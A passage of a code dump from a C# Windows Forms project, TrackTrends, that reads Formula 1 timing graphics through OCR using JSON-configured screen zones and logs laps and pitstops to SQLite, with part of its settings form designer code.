/// <param name="inputBitmap">The bitmap you want to use dilatation on</param>
/// <param name="kernelSize">The amount of dilatation you want (be carefull its expensive on ressources)</param>
/// <returns>The Bitmap after Dilatation</returns>
public static Bitmap Dilatation(Bitmap inputBitmap, int kernelSize)
{
Bitmap outputBitmap = new Bitmap(inputBitmap.Width, inputBitmap.Height);
int[,] kernel = new int[kernelSize, kernelSize];
for (int i = 0; i < kernelSize; i++)
{
for (int j = 0; j < kernelSize; j++)
{
kernel[i, j] = 1;
}
}
for (int y = kernelSize / 2; y < inputBitmap.Height - kernelSize / 2; y++)
{
for (int x = kernelSize / 2; x < inputBitmap.Width - kernelSize / 2; x++)
{
bool flag = false;
for (int i = -kernelSize / 2; i <= kernelSize / 2; i++)
{
for (int j = -kernelSize / 2; j <= kernelSize / 2; j++)
{
Color pixel = inputBitmap.GetPixel(x + i, y + j);
int gray = (int)(pixel.R * 0.3 + pixel.G * 0.59 + pixel.B * 0.11);
if (gray < 128 && kernel[i + kernelSize / 2, j + kernelSize / 2] == 1)
{
flag = true;
break;
}
}
if (flag)
{
break;
}
}
if (flag)
{
outputBitmap.SetPixel(x, y, Color.FromArgb(0, 0, 0));
}
else
{
outputBitmap.SetPixel(x, y, Color.FromArgb(255, 255, 255));
}
}
}
return outputBitmap;
}
}
}
```
+27
View File
@@ -0,0 +1,27 @@
# Program.cs
``` cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading.Tasks;
using System.Windows.Forms;
namespace TrackTrends
{
internal static class Program
{
/// <summary>
/// The main entry point for the application.
/// </summary>
[STAThread]
static void Main()
{
Application.EnableVisualStyles();
Application.SetCompatibleTextRenderingDefault(false);
Application.Run(new Main());
}
}
}
```
+343
View File
@@ -0,0 +1,343 @@
# Reader.cs
``` cs
/// Author : Maxime Rohmer
/// Date : 30/05/2023
/// File : Reader.cs
/// Brief : Class used to Read the config file for the OCR
/// Version : Alpha 1.0
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Drawing;
using System.Windows.Forms;
using System.IO;
using System.Text.Json;
namespace TrackTrends
{
public class Reader
{
const int NUMBER_OF_DRIVERS = 20;
public List<string> Drivers;
public List<Zone> MainZones;
private SqliteStorage _storage;
private List<DriverData>[] DriverDataLogs = new List<DriverData>[NUMBER_OF_DRIVERS];
private int[] DriverLaps = new int[NUMBER_OF_DRIVERS];
public SqliteStorage Storage { get => _storage; private set => _storage = value; }
public Reader(string configFile, Bitmap image, bool loadOCR = true)
{
Storage = new SqliteStorage();
MainZones = Load(image, configFile, ref Drivers, loadOCR);
}
/// <summary>
/// Method that reads the JSON config file and create all the Zones and Windows
/// </summary>
/// <param name="imageNumber">The image #id on wich you want to create the zones on</param>
public List<Zone> Load(Bitmap image, string configFilePath, ref List<string> driverListToFill, bool LoadOCR)
{
// Note : You may wonder why in the H... I have all the zones and windows stored in a JSON file and not just for example the first and the last
// Its because they are not perfectly aligned to each others and every zone has his own alignement to the main image
List<Zone> mainZones = new List<Zone>();
Bitmap fullImage = image;
Zone mainZone;
for (int i = 0; i < NUMBER_OF_DRIVERS; i++)
{
DriverDataLogs[i] = new List<DriverData>();
DriverLaps[i] = 0;
}
try
{
string jsonString = File.ReadAllText(configFilePath);
JsonDocument document = JsonDocument.Parse(jsonString);
JsonElement root = document.RootElement;
mainZones = new List<Zone>();
driverListToFill = new List<string>();
JsonElement main = root.GetProperty("Main");
int x = main.GetProperty("x").GetInt32();
int y = main.GetProperty("y").GetInt32();
int width = main.GetProperty("width").GetInt32();
int height = main.GetProperty("height").GetInt32();
mainZone = new Zone(fullImage, new Rectangle(x, y, width, height), "Main");
mainZone.ResetWindows();
mainZone.ResetZones();
JsonElement driverZones = main.GetProperty("DriverZones");
foreach (JsonElement driverZoneElement in driverZones.EnumerateArray())
{
string name = driverZoneElement.GetProperty("name").GetString();
int driverX = driverZoneElement.GetProperty("x").GetInt32() + mainZone.Bounds.X;
int driverY = driverZoneElement.GetProperty("y").GetInt32() + mainZone.Bounds.Y;
int driverWidth = driverZoneElement.GetProperty("width").GetInt32();
int driverHeight = driverZoneElement.GetProperty("height").GetInt32();
Zone driverZone = new Zone(fullImage, new Rectangle(driverX, driverY, driverWidth, driverHeight), "Driver");
JsonElement windowsElement = driverZoneElement.GetProperty("Windows");
//string[] windowNames = new string[] { "Position","GapToLeader","LapTime","DRS","Tyres","Name","Sector1","Sector2","Sector3" };
foreach (JsonElement windowElement in windowsElement.EnumerateArray())
{
//Position
JsonElement posEl = windowElement.GetProperty("Position");
DriverPositionWindow positionWindow = new DriverPositionWindow(driverZone.ZoneImage,
new Rectangle(
posEl.GetProperty("x").GetInt32(),
posEl.GetProperty("y").GetInt32(),
posEl.GetProperty("width").GetInt32(),
posEl.GetProperty("height").GetInt32()),
LoadOCR);
//GapToLeader
JsonElement gapEl = windowElement.GetProperty("GapToLeader");
DriverGapToLeaderWindow gapWindow = new DriverGapToLeaderWindow(driverZone.ZoneImage,
new Rectangle(
gapEl.GetProperty("x").GetInt32(),
gapEl.GetProperty("y").GetInt32(),
gapEl.GetProperty("width").GetInt32(),
gapEl.GetProperty("height").GetInt32()),
LoadOCR);
//LapTime
JsonElement lapEl = windowElement.GetProperty("LapTime");
DriverLapTimeWindow lapWindow = new DriverLapTimeWindow(driverZone.ZoneImage,
new Rectangle(
lapEl.GetProperty("x").GetInt32(),
lapEl.GetProperty("y").GetInt32(),
lapEl.GetProperty("width").GetInt32(),
lapEl.GetProperty("height").GetInt32()),
LoadOCR);
//DRS
JsonElement drsEl = windowElement.GetProperty("DRS");
DriverDrsWindow drsWindow = new DriverDrsWindow(driverZone.ZoneImage,
new Rectangle(
drsEl.GetProperty("x").GetInt32(),
drsEl.GetProperty("y").GetInt32(),
drsEl.GetProperty("width").GetInt32(),
drsEl.GetProperty("height").GetInt32()),
LoadOCR);
//Tyre
JsonElement tyresEl = windowElement.GetProperty("Tyres");
DriverTyresWindow tyreWindow = new DriverTyresWindow(driverZone.ZoneImage,
new Rectangle(
tyresEl.GetProperty("x").GetInt32(),
tyresEl.GetProperty("y").GetInt32(),
tyresEl.GetProperty("width").GetInt32(),
tyresEl.GetProperty("height").GetInt32()),
LoadOCR);
//Name
JsonElement nameEl = windowElement.GetProperty("Name");
DriverNameWindow nameWindow = new DriverNameWindow(driverZone.ZoneImage,
new Rectangle(
nameEl.GetProperty("x").GetInt32(),
nameEl.GetProperty("y").GetInt32(),
nameEl.GetProperty("width").GetInt32(),
nameEl.GetProperty("height").GetInt32()),
LoadOCR);
//Sector1
JsonElement sec1El = windowElement.GetProperty("Sector1");
DriverSectorWindow sec1Window = new DriverSectorWindow(driverZone.ZoneImage,
new Rectangle(
sec1El.GetProperty("x").GetInt32(),
sec1El.GetProperty("y").GetInt32(),
sec1El.GetProperty("width").GetInt32(),
sec1El.GetProperty("height").GetInt32()),
1, LoadOCR);
//Sector2
JsonElement sec2El = windowElement.GetProperty("Sector2");
DriverSectorWindow sec2Window = new DriverSectorWindow(driverZone.ZoneImage,
new Rectangle(
sec2El.GetProperty("x").GetInt32(),
sec2El.GetProperty("y").GetInt32(),
sec2El.GetProperty("width").GetInt32(),
sec2El.GetProperty("height").GetInt32()),
2, LoadOCR);
//Sector3
JsonElement sec3El = windowElement.GetProperty("Sector3");
DriverSectorWindow sec3Window = new DriverSectorWindow(driverZone.ZoneImage,
new Rectangle(
sec3El.GetProperty("x").GetInt32(),
sec3El.GetProperty("y").GetInt32(),
sec3El.GetProperty("width").GetInt32(),
sec3El.GetProperty("height").GetInt32()),
3, LoadOCR);
driverZone.AddWindow(positionWindow);
driverZone.AddWindow(gapWindow);
driverZone.AddWindow(lapWindow);
driverZone.AddWindow(drsWindow);
driverZone.AddWindow(tyreWindow);
driverZone.AddWindow(nameWindow);
driverZone.AddWindow(sec1Window);
driverZone.AddWindow(sec2Window);
driverZone.AddWindow(sec3Window);
}
mainZone.AddZone(driverZone);
}
JsonElement driversElement = main.GetProperty("Drivers");
foreach (JsonElement driverElement in driversElement.EnumerateArray())
{
string driverName = driverElement.GetString();
driverListToFill.Add(driverName);
Storage.AddDriver(driverName);
}
mainZones.Add(mainZone);
}
catch (IOException ex)
{
MessageBox.Show("Error reading JSON file: " + ex.Message);
}
catch (JsonException ex)
{
MessageBox.Show("Invalid JSON format: " + ex.Message);
}
int driverID = 0;
foreach (Zone z in mainZones[0].Zones)
{
driverID++;
z.ZoneImage.Save("LoadedDriver" + driverID + ".png");
}
return mainZones;
}
/// <summary>
/// Method that calls all the zones and windows to get the content they can find on the image to display them
/// </summary>
/// <param name="idImage">The id of the image we are working with</param>
/// <returns>a string representation of all the returns</returns>
public List<DriverData> Decode(List<Zone> mainZones, List<string> drivers)
{
List<DriverData> mainResults = new List<DriverData>();
//Decode
for (int mainZoneId = 0; mainZoneId < mainZones.Count; mainZoneId++)
{
switch (mainZoneId)
{
case 0:
//object lockObject = new object();
//Main Zone
Parallel.For(0, mainZones[mainZoneId].Zones.Count, async i =>
//for (int i = 0; i < mainZones[mainZoneId].Zones.Count; i++)
{
DriverData data = mainZones[mainZoneId].Zones[i].Decode(new List<string>(drivers));
mainResults.Add(data);
DriverDataLogs[i].Add(data);
if (data.Position != -1 && DriverDataLogs[i].Count > 1)
{
//Tries to fix the tyres
if (data.CurrentTyre.NumberOfLaps > DriverDataLogs[i][DriverDataLogs[i].Count - 2].CurrentTyre.NumberOfLaps + 3)
data.CurrentTyre.NumberOfLaps = DriverDataLogs[i][DriverDataLogs[i].Count - 2].CurrentTyre.NumberOfLaps + 1;
//Checking if its a new lap
//If the third sector is filled but it was'nt the last time, then it means that a new Lap has been started
//Lap detection can be f***ed if the OCR takes so much time that an entire sector can be raced without us knowing.
if (
DriverDataLogs[i][DriverDataLogs[i].Count - 1].Sector3 != 0
&& DriverDataLogs[i][DriverDataLogs[i].Count - 2].Sector3 == 0
&& DriverDataLogs[i][DriverDataLogs[i].Count - 2].Position != -1
&& DriverDataLogs[i][DriverDataLogs[i].Count - 1].Position != -1)
{
DriverData stats = new DriverData();
stats = DriverDataLogs[i][DriverDataLogs[i].Count - 1];
DriverLaps[i]++;
Storage.AddDriverStat(stats, DriverLaps[i]);
}
//Checking if its a pitstop
//Forget this the best way to know if a tyre has been changed is if the number of laps is zero
if (data.CurrentTyre.Coumpound != Tyre.Type.Undefined && data.CurrentTyre.NumberOfLaps == 0 && DriverDataLogs[i][DriverDataLogs[i].Count - 2].CurrentTyre.NumberOfLaps != 0)
{
Storage.AddPitstop(data.Name, DriverLaps[i] - 1, data.CurrentTyre.Coumpound.ToString());
//Driver laps -1 because it would take AT LEAST one lap for this program to detect a pitstop
}
}
DriverDataLogs[i].Add(data);
});
break;
//Next there could be a Title Zone and TrackInfoZone
}
}
//mainResults = mainResults.OrderBy(driver => driver.Position >= 0).ThenBy(driver => driver.Position).ToList();
mainResults = mainResults.OrderBy(driver => driver.Position).ToList();
return mainResults;
}
/// <summary>
/// Changes the image in all of the zones wich then will do the same for theyre own subzones and windows
/// </summary>
/// <param name="Image">The new Image from the F1TV data channel</param>
public void ChangeImage(Bitmap Image)
{
foreach (Zone z in MainZones)
{
z.Image = Image;
}
}
/// <summary>
/// Method that can be used to convert an amount of miliseconds into a more readable human form
/// </summary>
/// <param name="amountOfMs">The given amount of miliseconds ton convert</param>
/// <returns>A human readable string that represents the ms</returns>
public static string ConvertMsToTime(int amountOfMs)
{
//Convert.ToInt32 would round upand I dont want that
int minuts = (int)((float)amountOfMs / (1000f * 60f));
int seconds = (int)((amountOfMs - (minuts * 60f * 1000f)) / 1000);
int ms = amountOfMs - ((minuts * 60 * 1000) + (seconds * 1000));
return minuts + ":" + seconds.ToString("00") + ":" + ms.ToString("000");
}
/// <summary>
/// Old method that can draw on an image where the windows and zones are created. mostly used for debugging
/// </summary>
/// <param name="idImage">the #id of the image we are working with</param>
/// <returns>the drawed bitmap</returns>
public Bitmap Draw(Bitmap image, List<Zone> mainZones)
{
Graphics g = Graphics.FromImage(image);
foreach (Zone z in mainZones)
{
int count = 0;
foreach (Zone zz in z.Zones)
{
g.DrawRectangle(Pens.Red, z.Bounds);
foreach (Window w in zz.Windows)
{
g.DrawRectangle(Pens.Blue, new Rectangle(z.Bounds.X + zz.Bounds.X, z.Bounds.Y + zz.Bounds.Y, zz.Bounds.Width, zz.Bounds.Height));
}
count++;
}
}
return image;
}
}
}
```
+498
View File
@@ -0,0 +1,498 @@
# Settings.Designer.cs
``` cs
namespace TrackTrends
{
partial class Settings
{
/// <summary>
/// Required designer variable.
/// </summary>
private System.ComponentModel.IContainer components = null;
/// <summary>
/// Clean up any resources being used.
/// </summary>
/// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param>
protected override void Dispose(bool disposing)
{
if (disposing && (components != null))
{
components.Dispose();
}
base.Dispose(disposing);
}
#region Windows Form Designer generated code
/// <summary>
/// Required method for Designer support - do not modify
/// the contents of this method with the code editor.
/// </summary>
private void InitializeComponent()
{
this.components = new System.ComponentModel.Container();
this.label1 = new System.Windows.Forms.Label();
this.label2 = new System.Windows.Forms.Label();
this.gpbxRaceSettings = new System.Windows.Forms.GroupBox();
this.tbxGpUrl = new System.Windows.Forms.TextBox();
this.gpbxDriverList = new System.Windows.Forms.GroupBox();
this.lsbDrivers = new System.Windows.Forms.ListBox();
this.btnRemoveDriver = new System.Windows.Forms.Button();
this.btnAddDriver = new System.Windows.Forms.Button();
this.tbxDriverName = new System.Windows.Forms.TextBox();
this.gpbxPreview = new System.Windows.Forms.GroupBox();
this.lblWindowsRemaining = new System.Windows.Forms.Label();
this.btnResetDriver = new System.Windows.Forms.Button();
this.btnRefresh = new System.Windows.Forms.Button();
this.lblWindowPointsRemaining = new System.Windows.Forms.Label();
this.lblZonePointsRemaning = new System.Windows.Forms.Label();
this.btnCreateWindow = new System.Windows.Forms.Button();
this.pbxPreview = new System.Windows.Forms.PictureBox();
this.btnCreatZone = new System.Windows.Forms.Button();
this.gpbxWindowPreview = new System.Windows.Forms.GroupBox();
this.pbxWindowPreview = new System.Windows.Forms.PictureBox();
this.btnLoadPreset = new System.Windows.Forms.Button();
this.lsbPresets = new System.Windows.Forms.ListBox();
this.tbxPresetName = new System.Windows.Forms.TextBox();
this.btnSavePreset = new System.Windows.Forms.Button();
this.gpbxPresets = new System.Windows.Forms.GroupBox();
this.btnDeletePreset = new System.Windows.Forms.Button();
this.tip1 = new System.Windows.Forms.ToolTip(this.components);
this.gpbxRaceSettings.SuspendLayout();
this.gpbxDriverList.SuspendLayout();
this.gpbxPreview.SuspendLayout();
((System.ComponentModel.ISupportInitialize)(this.pbxPreview)).BeginInit();
this.gpbxWindowPreview.SuspendLayout();
((System.ComponentModel.ISupportInitialize)(this.pbxWindowPreview)).BeginInit();
this.gpbxPresets.SuspendLayout();
this.SuspendLayout();
//
// label1
//
this.label1.AutoSize = true;
this.label1.Font = new System.Drawing.Font("Microsoft YaHei UI", 19.8F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.label1.ForeColor = System.Drawing.Color.White;
this.label1.Location = new System.Drawing.Point(12, 14);
this.label1.Name = "label1";
this.label1.Size = new System.Drawing.Size(309, 43);
this.label1.TabIndex = 0;
this.label1.Text = "Configuration tool";
//
// label2
//
this.label2.AutoSize = true;
this.label2.Font = new System.Drawing.Font("Microsoft YaHei UI", 10.2F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.label2.ForeColor = System.Drawing.Color.White;
this.label2.Location = new System.Drawing.Point(3, 25);
this.label2.Name = "label2";
this.label2.Size = new System.Drawing.Size(132, 23);
this.label2.TabIndex = 1;
this.label2.Text = "Grand Prix URL";
//
// gpbxRaceSettings
//
this.gpbxRaceSettings.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right)));
this.gpbxRaceSettings.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(79)))), ((int)(((byte)(79)))), ((int)(((byte)(79)))));
this.gpbxRaceSettings.Controls.Add(this.tbxGpUrl);
this.gpbxRaceSettings.Controls.Add(this.label2);
this.gpbxRaceSettings.Font = new System.Drawing.Font("Microsoft YaHei UI", 10.2F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.gpbxRaceSettings.ForeColor = System.Drawing.Color.White;
this.gpbxRaceSettings.Location = new System.Drawing.Point(733, 9);
this.gpbxRaceSettings.Name = "gpbxRaceSettings";
this.gpbxRaceSettings.Padding = new System.Windows.Forms.Padding(0);
this.gpbxRaceSettings.Size = new System.Drawing.Size(521, 58);
this.gpbxRaceSettings.TabIndex = 2;
this.gpbxRaceSettings.TabStop = false;
this.gpbxRaceSettings.Text = "RaceSettings";
this.gpbxRaceSettings.Paint += new System.Windows.Forms.PaintEventHandler(this.removeBorders);
//
// tbxGpUrl
//
this.tbxGpUrl.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(51)))), ((int)(((byte)(51)))), ((int)(((byte)(51)))));
this.tbxGpUrl.BorderStyle = System.Windows.Forms.BorderStyle.None;
this.tbxGpUrl.Font = new System.Drawing.Font("Microsoft YaHei UI", 10.2F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.tbxGpUrl.ForeColor = System.Drawing.Color.White;
this.tbxGpUrl.Location = new System.Drawing.Point(141, 25);
this.tbxGpUrl.Name = "tbxGpUrl";
this.tbxGpUrl.Size = new System.Drawing.Size(367, 22);
this.tbxGpUrl.TabIndex = 4;
this.tbxGpUrl.TextChanged += new System.EventHandler(this.tbxGpUrl_TextChanged);
//
// gpbxDriverList
//
this.gpbxDriverList.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right)));
this.gpbxDriverList.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(79)))), ((int)(((byte)(79)))), ((int)(((byte)(79)))));
this.gpbxDriverList.Controls.Add(this.lsbDrivers);
this.gpbxDriverList.Controls.Add(this.btnRemoveDriver);
this.gpbxDriverList.Controls.Add(this.btnAddDriver);
this.gpbxDriverList.Controls.Add(this.tbxDriverName);
this.gpbxDriverList.FlatStyle = System.Windows.Forms.FlatStyle.Popup;
this.gpbxDriverList.Font = new System.Drawing.Font("Microsoft YaHei UI", 10F);
this.gpbxDriverList.ForeColor = System.Drawing.Color.White;
this.gpbxDriverList.Location = new System.Drawing.Point(995, 73);
this.gpbxDriverList.Name = "gpbxDriverList";
this.gpbxDriverList.Padding = new System.Windows.Forms.Padding(0);
this.gpbxDriverList.Size = new System.Drawing.Size(259, 269);
this.gpbxDriverList.TabIndex = 3;
this.gpbxDriverList.TabStop = false;
this.gpbxDriverList.Text = "DriverList";
this.gpbxDriverList.Paint += new System.Windows.Forms.PaintEventHandler(this.removeBorders);
//
// lsbDrivers
//
this.lsbDrivers.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(51)))), ((int)(((byte)(51)))), ((int)(((byte)(51)))));
this.lsbDrivers.BorderStyle = System.Windows.Forms.BorderStyle.None;
this.lsbDrivers.Font = new System.Drawing.Font("Microsoft YaHei UI", 10F);
this.lsbDrivers.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(252)))), ((int)(((byte)(252)))), ((int)(((byte)(252)))));
this.lsbDrivers.FormattingEnabled = true;
this.lsbDrivers.ItemHeight = 23;
this.lsbDrivers.Location = new System.Drawing.Point(10, 23);
this.lsbDrivers.Name = "lsbDrivers";
this.lsbDrivers.Size = new System.Drawing.Size(243, 138);
this.lsbDrivers.TabIndex = 10;
//
// btnRemoveDriver
//
this.btnRemoveDriver.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(51)))), ((int)(((byte)(51)))), ((int)(((byte)(51)))));
this.btnRemoveDriver.FlatStyle = System.Windows.Forms.FlatStyle.Popup;
this.btnRemoveDriver.Font = new System.Drawing.Font("Microsoft YaHei UI", 10.2F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.btnRemoveDriver.ForeColor = System.Drawing.Color.White;
this.btnRemoveDriver.Location = new System.Drawing.Point(132, 167);
this.btnRemoveDriver.Name = "btnRemoveDriver";
this.btnRemoveDriver.Size = new System.Drawing.Size(121, 62);
this.btnRemoveDriver.TabIndex = 9;
this.btnRemoveDriver.Text = "Remove";
this.btnRemoveDriver.UseVisualStyleBackColor = false;
this.btnRemoveDriver.Click += new System.EventHandler(this.btnRemoveDriver_Click);
//
// btnAddDriver
//
this.btnAddDriver.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(51)))), ((int)(((byte)(51)))), ((int)(((byte)(51)))));
this.btnAddDriver.FlatStyle = System.Windows.Forms.FlatStyle.Popup;
this.btnAddDriver.Font = new System.Drawing.Font("Microsoft YaHei UI", 10.2F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.btnAddDriver.ForeColor = System.Drawing.Color.White;
this.btnAddDriver.Location = new System.Drawing.Point(10, 167);
this.btnAddDriver.Name = "btnAddDriver";
this.btnAddDriver.Size = new System.Drawing.Size(116, 62);
this.btnAddDriver.TabIndex = 8;
this.btnAddDriver.Text = "Add";
this.btnAddDriver.UseVisualStyleBackColor = false;
this.btnAddDriver.Click += new System.EventHandler(this.btnAddDriver_Click);
//
// tbxDriverName
//
this.tbxDriverName.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(51)))), ((int)(((byte)(51)))), ((int)(((byte)(51)))));
this.tbxDriverName.BorderStyle = System.Windows.Forms.BorderStyle.None;
this.tbxDriverName.Font = new System.Drawing.Font("Microsoft YaHei UI", 11F);
this.tbxDriverName.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(252)))), ((int)(((byte)(252)))), ((int)(((byte)(252)))));
this.tbxDriverName.Location = new System.Drawing.Point(10, 235);
this.tbxDriverName.Name = "tbxDriverName";
this.tbxDriverName.Size = new System.Drawing.Size(243, 24);
this.tbxDriverName.TabIndex = 7;
//
// gpbxPreview
//
this.gpbxPreview.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(79)))), ((int)(((byte)(79)))), ((int)(((byte)(79)))));
this.gpbxPreview.Controls.Add(this.lblWindowsRemaining);
this.gpbxPreview.Controls.Add(this.btnResetDriver);
this.gpbxPreview.Controls.Add(this.btnRefresh);
this.gpbxPreview.Controls.Add(this.lblWindowPointsRemaining);
this.gpbxPreview.Controls.Add(this.lblZonePointsRemaning);
this.gpbxPreview.Controls.Add(this.btnCreateWindow);
this.gpbxPreview.Controls.Add(this.pbxPreview);
this.gpbxPreview.Controls.Add(this.btnCreatZone);
this.gpbxPreview.FlatStyle = System.Windows.Forms.FlatStyle.Flat;
this.gpbxPreview.Font = new System.Drawing.Font("Microsoft YaHei UI", 10F);
this.gpbxPreview.ForeColor = System.Drawing.Color.White;
this.gpbxPreview.Location = new System.Drawing.Point(18, 73);
this.gpbxPreview.Name = "gpbxPreview";
this.gpbxPreview.Padding = new System.Windows.Forms.Padding(0);
this.gpbxPreview.Size = new System.Drawing.Size(968, 608);
this.gpbxPreview.TabIndex = 4;
this.gpbxPreview.TabStop = false;
this.gpbxPreview.Text = "Preview";
this.gpbxPreview.Paint += new System.Windows.Forms.PaintEventHandler(this.removeBorders);
//
// lblWindowsRemaining
//
this.lblWindowsRemaining.AutoSize = true;
this.lblWindowsRemaining.BackColor = System.Drawing.Color.Transparent;
this.lblWindowsRemaining.ForeColor = System.Drawing.Color.White;
this.lblWindowsRemaining.Location = new System.Drawing.Point(215, 82);
this.lblWindowsRemaining.Name = "lblWindowsRemaining";
this.lblWindowsRemaining.Size = new System.Drawing.Size(183, 23);
this.lblWindowsRemaining.TabIndex = 6;
this.lblWindowsRemaining.Text = "7 windows remaining";
//
// btnResetDriver
//
this.btnResetDriver.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right)));
this.btnResetDriver.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(51)))), ((int)(((byte)(51)))), ((int)(((byte)(51)))));
this.btnResetDriver.Enabled = false;
this.btnResetDriver.FlatStyle = System.Windows.Forms.FlatStyle.Popup;
this.btnResetDriver.ForeColor = System.Drawing.Color.White;
this.btnResetDriver.Location = new System.Drawing.Point(748, 20);
this.btnResetDriver.Name = "btnResetDriver";
this.btnResetDriver.Size = new System.Drawing.Size(211, 33);
this.btnResetDriver.TabIndex = 2;
this.btnResetDriver.Text = "Reset the emulator";
this.btnResetDriver.UseVisualStyleBackColor = false;
this.btnResetDriver.Click += new System.EventHandler(this.btnResetDriver_Click);
//
// btnRefresh
//
this.btnRefresh.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right)));
this.btnRefresh.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(51)))), ((int)(((byte)(51)))), ((int)(((byte)(51)))));
this.btnRefresh.FlatStyle = System.Windows.Forms.FlatStyle.Popup;
this.btnRefresh.ForeColor = System.Drawing.Color.White;
this.btnRefresh.Location = new System.Drawing.Point(549, 20);
this.btnRefresh.Name = "btnRefresh";
this.btnRefresh.Size = new System.Drawing.Size(193, 33);
this.btnRefresh.TabIndex = 1;
this.btnRefresh.Text = "Start the browser";
this.btnRefresh.UseVisualStyleBackColor = false;
this.btnRefresh.Click += new System.EventHandler(this.btnRefresh_Click);
//
// lblWindowPointsRemaining
//
this.lblWindowPointsRemaining.AutoSize = true;
this.lblWindowPointsRemaining.ForeColor = System.Drawing.Color.White;
this.lblWindowPointsRemaining.Location = new System.Drawing.Point(215, 59);
this.lblWindowPointsRemaining.Name = "lblWindowPointsRemaining";
this.lblWindowPointsRemaining.Size = new System.Drawing.Size(163, 23);
this.lblWindowPointsRemaining.TabIndex = 4;
this.lblWindowPointsRemaining.Text = "0 points remaining";
//
// lblZonePointsRemaning
//
this.lblZonePointsRemaning.AutoSize = true;
this.lblZonePointsRemaning.ForeColor = System.Drawing.Color.White;
this.lblZonePointsRemaning.Location = new System.Drawing.Point(19, 59);
this.lblZonePointsRemaning.Name = "lblZonePointsRemaning";
this.lblZonePointsRemaning.Size = new System.Drawing.Size(163, 23);
this.lblZonePointsRemaning.TabIndex = 5;
this.lblZonePointsRemaning.Text = "0 points remaining";
//
// btnCreateWindow
//
this.btnCreateWindow.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(51)))), ((int)(((byte)(51)))), ((int)(((byte)(51)))));
this.btnCreateWindow.Enabled = false;
this.btnCreateWindow.FlatStyle = System.Windows.Forms.FlatStyle.Popup;
this.btnCreateWindow.ForeColor = System.Drawing.Color.White;
this.btnCreateWindow.Location = new System.Drawing.Point(213, 23);
this.btnCreateWindow.Name = "btnCreateWindow";
this.btnCreateWindow.Size = new System.Drawing.Size(201, 33);
this.btnCreateWindow.TabIndex = 2;
this.btnCreateWindow.Text = "Create the windows";
this.btnCreateWindow.UseVisualStyleBackColor = false;
this.btnCreateWindow.Click += new System.EventHandler(this.btnCreateWindow_Click);
//
// pbxPreview
//
this.pbxPreview.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(51)))), ((int)(((byte)(51)))), ((int)(((byte)(51)))));
this.pbxPreview.Location = new System.Drawing.Point(10, 62);
this.pbxPreview.Name = "pbxPreview";
this.pbxPreview.Size = new System.Drawing.Size(950, 540);
this.pbxPreview.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage;
this.pbxPreview.TabIndex = 0;
this.pbxPreview.TabStop = false;
this.pbxPreview.Click += new System.EventHandler(this.pbxMain_Click);
this.pbxPreview.MouseClick += new System.Windows.Forms.MouseEventHandler(this.pbxMain_MouseClick);
//
// btnCreatZone
//
this.btnCreatZone.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(51)))), ((int)(((byte)(51)))), ((int)(((byte)(51)))));
this.btnCreatZone.Enabled = false;
this.btnCreatZone.FlatStyle = System.Windows.Forms.FlatStyle.Popup;
this.btnCreatZone.ForeColor = System.Drawing.Color.White;
this.btnCreatZone.Location = new System.Drawing.Point(6, 23);
this.btnCreatZone.Name = "btnCreatZone";
this.btnCreatZone.Size = new System.Drawing.Size(201, 33);
this.btnCreatZone.TabIndex = 1;
this.btnCreatZone.Text = "Create the main zone";
this.btnCreatZone.UseVisualStyleBackColor = false;
this.btnCreatZone.Click += new System.EventHandler(this.btnCreatZone_Click);
//
// gpbxWindowPreview
//
this.gpbxWindowPreview.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left)));
this.gpbxWindowPreview.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(79)))), ((int)(((byte)(79)))), ((int)(((byte)(79)))));
this.gpbxWindowPreview.Controls.Add(this.pbxWindowPreview);
this.gpbxWindowPreview.FlatStyle = System.Windows.Forms.FlatStyle.Popup;
this.gpbxWindowPreview.Font = new System.Drawing.Font("Microsoft YaHei UI", 10F);
this.gpbxWindowPreview.ForeColor = System.Drawing.Color.White;
this.gpbxWindowPreview.Location = new System.Drawing.Point(18, 688);
this.gpbxWindowPreview.Name = "gpbxWindowPreview";
this.gpbxWindowPreview.Padding = new System.Windows.Forms.Padding(0);
this.gpbxWindowPreview.Size = new System.Drawing.Size(1237, 88);
this.gpbxWindowPreview.TabIndex = 5;
this.gpbxWindowPreview.TabStop = false;
this.gpbxWindowPreview.Text = "DriverZonePreview";
this.gpbxWindowPreview.Paint += new System.Windows.Forms.PaintEventHandler(this.removeBorders);
//
// pbxWindowPreview
//
